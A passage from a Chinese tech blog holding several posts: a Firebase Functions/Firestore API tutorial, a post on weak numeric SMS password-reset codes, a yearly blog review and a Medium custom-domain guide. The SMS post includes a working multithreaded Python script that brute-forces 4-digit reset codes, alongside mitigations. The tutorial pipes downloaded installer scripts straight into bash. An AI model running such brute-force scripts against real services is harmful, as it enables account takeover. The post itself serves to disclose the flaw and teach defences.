python 用 pyenv)。到 NVM Github 專案複製安裝 shell script:curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash如果安裝過程出現錯誤,請確認有 ~/.bashrc 或 ~/.zshrc 檔案,沒有可用 touch ~/.bashrc 或 touch ~/.zshrc 建立檔案然後再跑一下 install script。再來就可以使用 nvm install node 安裝最新版的 node.js。可下 npm --version 確認 npm 安裝成功、安裝版本:部署 Firebase Functions安裝 Firebase-tools:npm install -g firebase-tools安裝成功後,第一次使用請先輸入:firebase login完成 Firebase 登入驗證。啟動專案:firebase init記下 Firebase init 所在路徑:You're about to initialize a Firebase project in this directory:這邊可以選擇要安裝的 Firebase CLI 工具,按 「↑」「↓」進行選擇,「空白鍵」進行選擇;這邊可以只選擇「Functions」或連「Firestore」一起選擇安裝。=== Functions Setup 語言選擇「 JavaScript 」 關於「use ESLint to catch probable bugs and enforce style」語法 style 檢查 , YES / NO 都可 。 install dependencies with npm? YES===Emulators Setup可在本地環境測試 Functions、Firestore 功能及設定,不會算在使用度且不需等到部署上線才能測試。 依個人需求安裝,我有裝但沒有用...因為只是小功能而已。Coding!前往上述記下的路徑,找到 functions 資料夾 ,用編輯器打開裡面的 index.js 檔案。const functions = require('firebase-functions');const admin = require('firebase-admin');admin.initializeApp();exports.hello = functions.https.onRequest((req, res) => { const targetID = req.query.targetID const action = req.body.action const name = req.body.name res.send({\"targetID\": targetID, \"action\": action, \"name\": name}); return})貼上以上內容,我們定義了一個路徑接口 /hello 然後會回傳 URL Query ?targetID= 、 POST action 、 name 參數資訊。修改&儲存完成後回到 console 下:firebase deploy 以後的每次修改都記得要回來下 firebase deploy 指令,才會生效。開始驗證&部署到 Firebase…可能需要稍等一下, Deploy complete! 後你的第一個 Request & Response 網頁就完成了!這時候可以回到 Firebase -> Functions 頁面:就會看到剛剛撰寫的接口和網址位置。複製下方網址貼到 PostMan 測試: POST Body 記得選擇 x-www-form-urlencoded 。成功!Log我們可以在程式碼中使用:functions.logger.log(\"log:\", value);進行 Log 紀錄。並可在 Firebase -> Functions -> 紀錄中查看 log 結果:Example Goal 建立一個可新增、修改、刪除、查詢文章和按讚的 API我們希望能達成 Restful API 的功能設計,所以不能再使用上面範例的純 Path 方式,要改藉用 Express 框架達成。POST 新增文章const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Insertapp.post('/', async (req, res) => { // 這邊的 POST 指的是 HTTP Method POST const title = req.body.title; const content = req.body.content; const author = req.body.author; if (title == null || content == null || author == null) { return res.status(400).send({\"message\":\"參數錯誤!\"}); } var post = {\"title\":title, \"content\":content, \"author\": author, \"created_at\": new Date()}; await admin.firestore().collection('posts').add(post); res.status(201).send({\"message\":\"新增成功!\"});});exports.post= functions.https.onRequest(app); // 這邊的 POST 指的是 /post 路徑現在我們改用 Express 來處理網路請求,這邊先新增一個 路徑 / 的 POST 方法,最後一行表示路徑都在 /post 之下,再來我們會加上修改、刪除的 API。下 firebase deploy 部署成功後,回到 Post Man 測試:Post Man 打成功後可以再到 Firebase -> Firestore 檢查一下資料是否有正確寫入:PUT 修改文章const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Updateapp.put(\"/:id\", async (req, res) => { const title = req.body.title; const content = req.body.content; const author = req.body.author; const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"找不到文章!\"}); } else if (title == null || content == null || author == null) { return res.status(400).send({\"message\":\"參數錯誤!\"}); } var post = {\"title\":title, \"content\":content, \"author\": author}; await admin.firestore().collection('posts').doc(req.params.id).update(post); res.status(200).send({\"message\":\"修改成功!\"});});exports.post= functions.https.onRequest(app);部署&測試方式如新增,Post Man Http Method 記得改成 PUT 。DELETE 刪除文章const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Deleteapp.delete(\"/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"找不到文章!\"}); } await admin.firestore().collection(\"posts\").doc(req.params.id).delete(); res.status(200).send({\"message\":\"文章成功!\"});})exports.post= functions.https.onRequest(app);部署&測試方式如新增,Post Man Http Method 記得改成 DELETE 。新增、修改、刪除做完了,來做查詢!SELECT 查詢文章const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Select Listapp.get('/', async (req, res) => { const posts = await admin.firestore().collection('posts').get(); var result = []; posts.forEach(doc => { let id = doc.id; let data = doc.data(); result.push({\"id\":id, ...data}) }); res.status(200).send({\"result\":result});});// Select Oneapp.get(\"/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"找不到文章!\"}); } res.status(200).send({\"result\":{\"id\":doc.id, ...doc.data()}});});exports.post= functions.https.onRequest(app);部署&測試方式如新增,Post Man Http Method 記得改成 GET 還有將 Body 切回 none 。InsertOrUpdate?有時候我們需要當值存在時做更新,當值不存在時新增,這時候可以用 set 搭配 merge: true :const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// InsertOrUpdateapp.post(\"/tag\", async (req, res) => { const name = req.body.name; if (name == null) { return res.status(400).send({\"message\":\"參數錯誤!\"}); } var tag = {\"name\":name}; await admin.firestore().collection('tags').doc(name).set({created_at: new Date()}, {merge: true}); res.status(201).send({\"message\":\"新增成功!\"});});exports.post= functions.https.onRequest(app);這邊以新增 tag 為例,部署&測試方式如新增,可以看到 Firestore 不會一直重複新增新資料。文章按讚計數器假設我們的文章資料現在多一個 likeCount 欄位紀錄按讚數量,那我們該怎麼做呢?const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Like Postapp.post(\"/like/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); const increment = admin.firestore.FieldValue.increment(1) if (!doc.exists) { return res.status(404).send({\"message\":\"找不到文章!\"}); } await admin.firestore().collection('posts').doc(req.params.id).set({likeCount: increment}, {merge: true}); res.status(201).send({\"message\":\"按讚成功!\"});});exports.post= functions.https.onRequest(app);運用 increment 這個變數就能直接做到取出值 +1 的動作。大流量文章按讚計數器因為 Firestore 有 寫入速度限制 的:一個文檔一秒只能寫入一次 ,所以當按讚的人一多;同時請求下可能會變得很慢。官方給的解決方法「 Distributed counters 」其實也沒什麼高深的技術,就是多用幾個分散的 likeCount 欄位來統計,然後讀取的時候再加總起來。const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Distributed counters Like Postapp.post(\"/like2/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); const increment = admin.firestore.FieldValue.increment(1) if (!doc.exists) { return res.status(404).send({\"message\":\"找不到文章!\"}); } //1~10 await admin.firestore().collection('posts').doc(req.params.id).collection(\"likeCounter\").doc(\"likeCount_\"+(Math.floor(Math.random()*10)+1).toString()) .set({count: increment}, {merge: true}); res.status(201).send({\"message\":\"按讚成功!\"});});exports.post= functions.https.onRequest(app);以上就是分散出欄位來紀錄 Count 避免寫入太慢;但如果分散的欄位太多會增加讀取成本($$),但應該還是比每次按讚都 add 一筆新紀錄還便宜。使用 Siege 工具進行壓力測試使用 brew 安裝 siegebrew install siegep.s 如果你出現 brew: command not found 請先安裝 brew 套件管理工具 :/usr/bin/ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"安裝完成後可下:siege -c 100 -r 1 -H 'Content-Type: application/json' 'https://us-central1-project.cloudfunctions.net/post/like/id POST {}'進行壓力測試: -c 100 :100 個任務同步執行 -r 1 :每個任務執行 1 次請求 -H ‘Content-Type: application/json’ :如果是 POST 時需加上 ‘https://us-central1-project.cloudfunctions.net/post/like/id POST {}’ :POST 網址、Post Body (ex: {“name”:”1234”} )執行完成後可看到執行結果:successful_transactions: 100 表示 100 次都執行成功。可以回 Firebase -> Firestore 查看結果是否有 Loss Data: 成功!完整 Example Codeconst functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Insertapp.post('/', async (req, res) => { const title = req.body.title; const content = req.body.content; const author = req.body.author; if (title == null || content == null || author == null) { return res.status(400).send({\"message\":\"參數錯誤!\"}); } var post = {\"title\":title, \"content\":content, \"author\": author, \"created_at\": new Date()}; await admin.firestore().collection('posts').add(post); res.status(201).send({\"message\":\"新增成功!\"});});// Updateapp.put(\"/:id\", async (req, res) => { const title = req.body.title; const content = req.body.content; const author = req.body.author; const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"找不到文章!\"}); } else if (title == null || content == null || author == null) { return res.status(400).send({\"message\":\"參數錯誤!\"}); } var post = {\"title\":title, \"content\":content, \"author\": author}; await admin.firestore().collection('posts').doc(req.params.id).update(post); res.status(200).send({\"message\":\"修改成功!\"});});// Deleteapp.delete(\"/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"找不到文章!\"}); } await admin.firestore().collection(\"posts\").doc(req.params.id).delete(); res.status(200).send({\"message\":\"文章成功!\"});});// Select Listapp.get('/', async (req, res) => { const posts = await admin.firestore().collection('posts').get(); var result = []; posts.forEach(doc => { let id = doc.id; let data = doc.data(); result.push({\"id\":id, ...data}) }); res.status(200).send({\"result\":result});});// Select Oneapp.get(\"/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"找不到文章!\"}); } res.status(200).send({\"result\":{\"id\":doc.id, ...doc.data()}});});// InsertOrUpdateapp.post(\"/tag\", async (req, res) => { const name = req.body.name; if (name == null) { return res.status(400).send({\"message\":\"參數錯誤!\"}); } var tag = {\"name\":name}; await admin.firestore().collection('tags').doc(name).set({created_at: new Date()}, {merge: true}); res.status(201).send({\"message\":\"新增成功!\"});});// Like Postapp.post(\"/like/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); const increment = admin.firestore.FieldValue.increment(1) if (!doc.exists) { return res.status(404).send({\"message\":\"找不到文章!\"}); } await admin.firestore().collection('posts').doc(req.params.id).set({likeCount: increment}, {merge: true}); res.status(201).send({\"message\":\"按讚成功!\"});});// Distributed counters Like Postapp.post(\"/like2/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); const increment = admin.firestore.FieldValue.increment(1) if (!doc.exists) { return res.status(404).send({\"message\":\"找不到文章!\"}); } //1~10 await admin.firestore().collection('posts').doc(req.params.id).collection(\"likeCounter\").doc(\"likeCount_\"+(Math.floor(Math.random()*10)+1).toString()) .set({count: increment}, {merge: true}); res.status(201).send({\"message\":\"按讚成功!\"});});exports.post= functions.https.onRequest(app);回歸主題,推播統計回到一開始我們想做的,推播統計功能。const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));const vaildPlatformTypes = [\"iOS\",\"Android\"]const vaildActionTypes = [\"clicked\",\"received\"]// Insert Logapp.post('/', async (req, res) => { const increment = admin.firestore.FieldValue.increment(1); const platformType = req.body.platformType; const pushID = req.body.pushID; const actionType = req.body.actionType; if (!vaildPlatformTypes.includes(platformType) || pushID == undefined || !vaildActionTypes.includes(actionType)) { return res.status(400).send({\"message\":\"參數錯誤!\"}); } else { await admin.firestore().collection(platformType).doc(actionType+\"_\"+pushID).collection(\"shards\").doc((Math.floor(Math.random()*10)+1).toString()) .set({count: increment}, {merge: true}) res.status(201).send({\"message\":\"紀錄成功!\"}); }});// View Logapp.get('/:type/:id', async (req, res) => { // received const receivedDocs = await admin.firestore().collection(req.params.type).doc(\"received_\"+req.params.id).collection(\"shards\").get(); var received = 0; receivedDocs.forEach(doc => { received += doc.data().count; }); // clicked const clickedDocs = await admin.firestore().collection(req.params.type).doc(\"clicked_\"+req.params.id).collection(\"shards\").get(); var clicked = 0; clickedDocs.forEach(doc => { clicked += doc.data().count; }); res.status(200).send({\"received\":received,\"clicked\":clicked});});exports.notification = functions.https.onRequest(app);新增推播紀錄檢視推播統計數字https://us-centra1-xxx.cloudfunctions.net/notification/iOS/1另外也做了個介面統計推播數字。踩坑 因為對 node.js 用法不太熟悉,一開始摸索的時候在 add 資料時沒加上 await 再加上寫入速度限制,導致在大流量情況下會 Data Loss…Pricing別忘了參考 Firebase Functions & Firestore 的定價策略。Functions https://cloud.google.com/functions/pricing?hl=zh-tw運算時間網路 Cloud Functions 針對運算時間資源提供永久免費方案,當中包含 GB/秒和 GHz/秒的運算時間。除了 200 萬次叫用以外,免費方案也提供 400,000 GB/秒和 200,000 GHz/秒的運算時間,以及每月 5 GB 的網際網路輸出流量。Firestore https://cloud.google.com/firestore/pricing?hl=zh-tw 計算範例 價格可能隨時更改,請以官網最新資訊為準。結論如同標題所寫「可供測試」、「可供測試」、「可供測試」不太建議將以上服務用於正式環境,甚至當作產品的核心上線。收費貴、難遷移之前曾聽說某個蠻大的服務就是使用 Firebase 服務搭建起家,結果後期資料、流量大,收費爆貴;要轉移也很困難,程式還好但資料非常難搬;只能說是初期省了小錢卻造成後期巨大的虧損,不值得。僅供測試因為以上原因,使用 Firebase Functions + Firestore 搭建的 API 服務個人建議僅供測試或是 Prototype 產品展示。更多功能Functions 還可以串 Authentication(身份驗證)、Storage(檔案上傳),但這部分我就沒研究了。參考資料 https://firebase.google.com/docs/firestore/query-data/queries https://coder.tw/?p=7198 https://firebase.google.com/docs/firestore/solutions/counters#node.js_1 https://javascript.plainenglish.io/firebase-cloud-functions-tutorial-creating-a-rest-api-8cbc51479f80===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "找回密碼之簡訊驗證碼強度安全問題", "url": "/posts/99a6cef90190/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, hacker, web-security, password-security, security-token", "date": "2021-03-14 23:57:38 +0800", "snippet": "找回密碼之簡訊驗證碼強度安全問題使用 Python 展示暴力破解的嚴重性Photo by Matt Artz前言本文沒什麼資安技術含量,單純是日前在使用某平台網站時的突發奇想;想說順手測看看安全性,結果發現的問題。在使用網站、APP 服務的忘記密碼找回功能時;一般會有兩個選項,一是輸入帳號、Email,然後會寄含有 Token 的重設密碼頁面連結到信箱,點擊後打開頁面就能重設密碼,這部分沒什...", "content": "找回密碼之簡訊驗證碼強度安全問題使用 Python 展示暴力破解的嚴重性Photo by Matt Artz前言本文沒什麼資安技術含量,單純是日前在使用某平台網站時的突發奇想;想說順手測看看安全性,結果發現的問題。在使用網站、APP 服務的忘記密碼找回功能時;一般會有兩個選項,一是輸入帳號、Email,然後會寄含有 Token 的重設密碼頁面連結到信箱,點擊後打開頁面就能重設密碼,這部分沒什麼問題,除非像 之前那篇 文章所說,設計上有漏洞才會有問題。另一個找回密碼的方式是輸入綁定的手機號碼(多半用在 APP 服務),然後會寄出簡訊驗證碼到手機,完成驗證碼輸入即可重設密碼;但為了便利性,多半的服務都是使用純數字作為驗證碼,另外也因為在 iOS ≥ 11 之後增加 Password AutoFill 功能,當手機收到驗證碼後鍵盤會自動判讀並跳出提示。查找 官方文件 ,蘋果並沒有給出驗證碼自動填入的判讀格式規則;但我看幾乎所有能支援自動填入的服務都是使用純數字,推測應該是只能用數字不能使用數字英文夾雜的複雜組合。問題因數字密碼的組合存在暴力破解的可能性,尤其是 4 位密碼;組合只有 0000~9999,10,000 種組合;使用多個 thread 多台機器就能分組暴力破解。假設驗證請求需要 0.1 秒回應,10,000 個組合 = 10,000 次請求破解所需嘗試時間:((10,000 * 0.1) / thread 數) 秒就算不開 thread 也只需要 16 多分種就能嘗試出正確的簡訊驗證碼。 除密碼長度、複雜度不足之外,還有個問題是驗證碼未設嘗試上限、有效期限太長這兩個問題。組合綜合上述,此資安問題常見於 APP 端;因網頁服務多半都會在嘗試錯誤多次後加上圖形驗證碼驗證或在請求重設密碼時需多輸入安全問題,增加發送驗證請求的困難度;另外網頁服務的驗證若沒有前後端分離,變成每次驗證請求都要拿整個網頁,拉長請求回應時間。APP 端因流程設計及方便使用者,多半會簡化重設密碼流程、有的 APP 甚至是通過手機號碼驗證就能登入;如果在 API 端沒有做防護則會造成資安漏洞。實踐 ⚠️警告⚠️ 本文僅作展示此安全問題的嚴重性,請勿拿去做壞事。嗅探驗證請求 API萬事都從嗅探開始,這部分可參考之前的文章「 APP有用HTTPS傳輸,但資料還是被偷了。 」、「 使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事 」第一篇文章看原理建議使用第二篇文章的 Proxyman 進行嗅探。如果是前後端分離的網站服務也能使用 Chrome -> 檢查 -> Network -> 查看在送出驗證碼後發了什麼請求。這邊假設得到的檢查驗證碼請求是:POST https://zhgchg.li/findPWDResponse:{ \"status\":fasle \"msg\":\"驗證錯誤\"}撰寫暴力破解 Python 腳本import randomimport requestsimport jsonimport threadingphone = \"0911111111\"found = Falsedef crack(start, end): global found for code in range(start, end): if found: break stringCode = str(code).zfill(4) data = { \"phone\" : phone, \"code\": stringCode } headers = {} try: request = requests.post('https://zhgchg.li/findPWD', data = data, headers = headers) result = json.loads(request.content) if result[\"status\"] == True: print(\"Code is:\" + stringCode) found = True break else: print(\"Code \" + stringCode + \" is wrong.\") except Exception as e: print(\"Code \"+ stringCode +\" exception error \\(\" + str(e) + \")\")def main(): codeGroups = [ [0,1000],[1000,2000],[2000,3000],[3000,4000],[4000,5000], [5000,6000],[6000,7000],[7000,8000],[8000,9000],[9000,10000] ] for codeGroup in codeGroups: t = threading.Thread(target = crack, args = (codeGroup[0],codeGroup[1],)) t.start()main()執行腳本後我們得到:驗證碼等於:1743將 1743 帶入重設密碼更改掉原始密碼或直接登入帳號。 Bigo!解決之道 密碼重設增加更多資訊驗證(如:生日、安全問題) 增加驗證碼長度(如 Apple 6 碼數字)、增加驗證碼複雜度(如果不影響 AutoFill 功能) 驗證碼嘗試錯誤大於 3 次後使其失效,需請使用者重新發送驗證碼 驗證碼有效時限縮短 驗證碼嘗試錯誤過多次鎖定裝置、增加圖形驗證碼 APP 多做 SSL Pining、傳輸加解密(防止嗅探)===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Bye Bye 2020 經營 Medium 第二年回顧", "url": "/posts/5ea3311119d8/", "categories": "ZRealm, Life.", "tags": "生活, medium, blog, ios, taiwan", "date": "2021-02-24 20:59:41 +0800", "snippet": "Bye Bye 2020 經營 Medium 第二年回顧遲到遲到再遲到的 2020 回顧圖片取自 2020 年擔任 iOS Developer 的服務單位 — 街聲 — 簡單生活節官方海報 2018–2019 第一年的回顧在這。艱難的一年無關工作,2020 對我來說是艱難的一年;經歷了許多重大挫折,不過還好,都挺過去了。我只想說一句: 人,要學會珍惜當下、珍惜自己所擁有的。工作回到工作上...", "content": "Bye Bye 2020 經營 Medium 第二年回顧遲到遲到再遲到的 2020 回顧圖片取自 2020 年擔任 iOS Developer 的服務單位 — 街聲 — 簡單生活節官方海報 2018–2019 第一年的回顧在這。艱難的一年無關工作,2020 對我來說是艱難的一年;經歷了許多重大挫折,不過還好,都挺過去了。我只想說一句: 人,要學會珍惜當下、珍惜自己所擁有的。工作回到工作上,2020 突破舒適圈進入新的環境;讓我接觸到許多新鮮事,吸收了很多 iOS 、工程開發上的精華,雖然 2020 的產文量不如之前、還曾經停止更新了三四個月;但重質不重量,2020 撰寫的文章雖少但表現其實都比之前的好;慢慢有在進步!另外去年也用 Google site 把個人網站弄起來了;並持續會把 Medium 新文章消息同步過去。zhgchg.li初衷我還是那個我,我是很懶的人;不會為了寫文章而寫,每篇文章都是自己醞釀了些心得然後立刻下筆記錄下來的歷程,如果發懶沒有一口氣做這件事,我應該也懶得回頭寫了(不過這多半是不重要、不有趣的議題我才會這樣)。缺點就是有時候一頭熱,寫太快,打錯字是小如果內容有錯或不夠完整誤導大家真是罪孽 Orz;所以今年在寫文章時會把能想到、能處理的問題都一並研究處理,就算我當初專案上沒有用到;就算不能處理也留下個訊息提醒讀者還有這個方面要注意。寫文章用到的 Chrome Extension 再推一次 Code Medium 這個 ,可以直接在 Medium 之中使用 Gist 貼上漂亮的程式碼!安裝好之後,在 Medium 上點「+」然後選最後一個「<>」這時畫面會分為左右,可以直接在右方輸入程式碼:送出之後就會直接以 gist 嵌入 Medium 文章中:使用 gist 嵌入程式碼的好處是,支援彩色高亮,方便讀者閱讀;壞處是如果想把 Medium 轉成 markdown 格式時,無法自動將嵌入的程式碼一起轉換,要自己手動 Copy & Paste。 - 試過很多轉換工具都不支援 gist 擷取,如果有朋友知道懇請補充。 - Medium 內建的程式碼區塊到現在都還不支援彩色高亮顯示,所以只能這樣。 Medium Next Generation Stats :加強 Medium 後台統計數據顯示每日流量聚合顯示,一眼就能看出今天的流量文章組成。另外還有統計新增的追蹤者、拍手…等等功能。今年目標備份計畫除了繼續寫作外;預計會找個時間把每篇文章都翻成 Markdown 版本並上傳到 Github 進行備份,防止哪一天 Medium 突然爆炸…,目前是使用 Typora 這個編輯器;蠻好用的,之後再來介紹!Typora目前進度大約完成 15%,因為很無聊所以有點懶 哈哈。 Medium 官方的備份下載只有備份純文字,圖片都還是外連沒有下載回來;更何況程式碼的部分都是內嵌,不能直接在 Markdown 顯示。獨立網域已經部署上去了,請參考「 Medium 自訂網域功能回歸 」。 Profile 頁: blog.zhgchg.li (我是只用子網域 blog.zhgchg.li ,因為主網域有其他用途)但發現會影響 Google SEO,還在考慮&測試要不要真的使用。Buy Me A Coffee!最近也開通了以下服務: Buy Me A Coffee 讚賞公民反正我很閒統計最後還是要來個統計!2020 年一共發表了:16 篇文章: 3 篇生活 + 2 篇開箱 + 11 篇技術文章全站累積至 2021/02/24 : 所有文章瀏覽次數: 180, 000 次(成長 2倍) 所有文章拍手總計: 1,1000 次(成長 1 倍) 追蹤者:突破 400 位(成長 1 倍)表現比較好的文章有: iOS UIViewController 轉場二三事 iOS 逆向工程初體驗 iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難 Apple Watch Series 6 開箱 & 兩年使用體驗 使用 iPhone 簡單製作「偽」透視透明手機桌布 2020 一樣感謝大家的支持與愛護,今年也會繼續加油的! 你的回饋就是我寫作的原動力!ZhgChgLi, 2021/02/24.有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Medium 自訂網域功能回歸", "url": "/posts/d9a95d4224ea/", "categories": "ZRealm, Life.", "tags": "medium, 生活, domain-names, domain-authority, domain-registration", "date": "2021-02-24 02:25:15 +0800", "snippet": "Medium 自訂網域功能回歸自己的 Domain Authority 自己養!TL;DR [2022/07/11] 此功能又被關閉了感謝網友 MING 回報,此功能又被 官方宣告關閉了 ,已經設定的帳戶暫時還可以繼續轉址使用。Breaking News!Custom domains are back!Medium 官方部落格於 2021/02/17 發布最新消息,Medium 又能重新讓創...", "content": "Medium 自訂網域功能回歸自己的 Domain Authority 自己養!TL;DR [2022/07/11] 此功能又被關閉了感謝網友 MING 回報,此功能又被 官方宣告關閉了 ,已經設定的帳戶暫時還可以繼續轉址使用。Breaking News!Custom domains are back!Medium 官方部落格於 2021/02/17 發布最新消息,Medium 又能重新讓創作者綁定自己的網域(Domain)啦!不論事創作者 Profile 頁或是 Publications 都支援設定。什麼是「自訂網域」為了怕讀者不一定都是資訊領域出生,這邊簡單說明一下什麼是自訂網域。網域(Domain)如同網路世界的門牌,我輸入門牌 Medium.com 就會到 Medium;如今開放讓創作者自訂網域,也就是自訂門牌,你可以註冊好自己想要的門牌,然後綁定到 Medium 的帳號上就能取代掉原本的門牌;例如我使用 blog.zhgchg.li 這個門牌,也會進到我的 Medium。歷史查資料在早期約莫 2012 年時有開放過此功能,收費方式是一次性 $75 美金設定費;但在我開始寫 Medium 的時候 (2018) 早就停止了這個功能服務,但已經申請的不受影響,所以有時候逛 Medium 會看到 Domain 是自己的,但網站是 Meidum,很酷;聽說推出了一陣子就下架了,我自己估計是因為商業考量,自訂網域會降低 Medium 識別度。好處 識別度 :自訂網域能為創作者帶來許多好出,最直白得就是識別度,不在是 medium.com/@xxxx 這種,而是直接以你的名稱作為顯示 ex: zhgchg.li/ 自由度 :之後如果想搬離 Medium 自架網站,也可以透過轉址方式將原本的連結直接導往新網站。 Domain Authority :與 SEO 搜尋結果排名有關,可以透過 Medium 來養自己域名的權值,日後轉戰其他平台也不怕 SEO 從頭來。壞處 不再享有 medium.com 的高 Domain Authority SEO 排名優勢,初期可能會嚴重影響搜尋進入的流量。規則我發現文章連結、分享連結,如果該文章有加入 Publication 但 Publication 沒有設 Custom domain 也不會用 Profile 的 Domain 會變回預設的 medium.com 連結。我的設定先貼一個我的設定給大家參考。 Profile 頁: blog.zhgchg.li (我是只用子網域 blog.zhgchg.li ,因為主網域有其他用途) Publication 頁我本來有設,但後來拿掉了 ;因為我的追蹤者不多自生產流量能力有限,需要大量依賴 Google 等搜尋引擎流量流入;如果 Publication 頁也用 Custom Domain 的話會導致文章連結變成我的域名,但我的域名還太菜,搜尋結果超級後面,吸引不到流量。 只設 Profile 不設 Publication 有一個好處,原本的 medium 連結還是能被 google 收錄;另外還能多開一條路是自己網域的連結,這樣兩全其美;一方面不會喪失原本的流量,又能慢慢養自己域名的 Domain Authority。適合的對象若要從頭培養一個 Domain 的權威值,需要經過很漫長的時間累積;我想了一下覺得這個功能最適合的應該是本身就有網站服務(ex: musicplayer.com);如果想建立社群,則可直接使用 Medium,這時候域名就可用(blog.musicplayer.com)1 是直接使用 Medium 平台來撰寫文章(而且目前客製化功能越開越多)、2 是本身域名也有 DA 不會影響 SEO 太多價格網域部分:依照自己的喜好由 Namecheap (本文以此為例)或 Godaddy 取得,常見的 .com 價格大約 $200~$500 台幣一年;依照域名的域名後綴、長度價格不定,稀有的上百萬上億都有聽過。網域註冊採用先註冊先贏的策略,除非該地區該域名名稱有商標保護才有可能透過法律手段拿回來;不然就是人家先搶先贏,你只能跟他談價購買,因此衍伸出一種投資(域名蟑螂)註冊大量域名霸佔著不用,等人來跟他買。網域需每年繳費或一次買 x 年,沒有終身買斷;若沒繼續續費,超過保護期限就會釋出,讓所有人都能重新註冊。不過我想經營 Medium 的朋友應該不太會遇到域名被霸佔的問題,因為多半是個人居多,我是使用我的網路帳號 zhgchg.li 進行註冊沒有人註冊過;如果好巧不巧遇到重複,也可以改後綴,例如 .div/.net…等等後綴部分可參考 網際網路頂級域列表 ,但不代表上面有的就能申請;要看該域名國家的規範、另外還有代理平台 ( Namecheap , Godaddy. . ) 也不一定有販售該後綴的域名。例如我的 .li 是 列支敦斯登 的域名,目前對域名註冊者的身份沒有要求,任何人和公司都可以註冊;且只有 Namecheap 尚有販售。姓李的好處? 題外話,我的拼法 zhgchg.li 這種網域方式又叫 Domain Hack ;更好的例子是 google => goo.gl。Medium 部分:目前取消了一次性 $75 美金設定費,改為 Medium 付費會員身份都能使用(一個月 $5 美金/一年 $50 美金);但我其實比較喜歡原本的一次設定費 QQ;因為我多半為創作者,不太需要付費會員的訂閱權限,改月費年費制對我來說比較傷,開始被迫考慮加入付費牆計畫了 Orz。2021/04/05 更新假設先加入會員計劃然後設好自訂網域後不再繼續續費會員會怎麼樣? 實測會員失效後,自訂網域依然有效!開始設定1. 購買&取得域名 (以 Namecheap 為例)首先到 Namecheap 官網首頁 搜尋喜歡的域名:得到搜尋結果:右邊按鈕顯示「 Add To Cart 」代表該域名還沒有人註冊,可以加入購物車購買。如果右邊按鈕顯示「 Make offer 」、「 Taken 」代表該域名已被註冊,請選擇其他後綴或換個域名:加入購物車後點擊下方「 Checkout 」。進入訂單確認頁: Domain Registration :這邊可以選擇 AUTO-RENEW 每年自動續費,也可以改要一次購買的年數。 WhoisGuard :由於 網域資料可以公開讓任何人自由查詢 (註冊時間、到期日、註冊人、聯繫方式);此功能可以將註冊人及聯繫方式改為顯示 Namecheap,而非直接顯示你的個人資料,可以防止垃圾郵件訊息。(此功能部分後綴是要收費的,如果是免費的話就用吧!)擷取一些 google.com 的 whois 訊息結果,可 由此查詢 。 PremiumDNS :我們知道域名等於門牌,也就是說看到門牌會去找位置在哪;這個功能就是提供更穩定安全的「找位置在哪」功能,我是覺得不必,除非是一點錯誤都不能出的高流量電商網站之類。輸入完信用卡資訊點「 Confirm Order 」之後就購買成功囉!會收到一封訂單明細信件。2.設定網域 (以 Namecheap 為例)登入帳號後,點選 左上角帳號 -> 「 Dashboard 」進入「 Dashboard 」後切換到「 Domain List 」頁籤,找到剛買的 Domain 點 「 Manage 」進來之後切換到最後一個「 Advanced DNS 」頁籤先放在這頁不動,回到 Medium。前往 Medium 的設定頁 ,找到「Profile」區塊中的「Custom domain」部分,點擊「 Get started 」 Publications 的話請,一樣前往 Publications 的「Homepage and settings」在底部找到「Custom domain」部分。如果顯示「Upgrade」則代表你要先升級成付費用戶才能使用此功能。進入設定頁面:輸入你的 Domain 名稱,ex: www.example.com記住以上資訊,這時候再回到 Namecheap 設定頁。在「 Advanced DNS 」頁籤中找到「 HOST RECORDS 」部分點擊下方「 ADD NEW RECORD 」按鈕兩次,出現兩筆新增資料框。將 Medium 上的資訊輸入進去: 選擇「 A Record」 如果你是主網域 (ex: zhgchg.li) 則輸入 www,像我一樣只是子網域就輸入子網域名稱 IP 輸入同 Medium 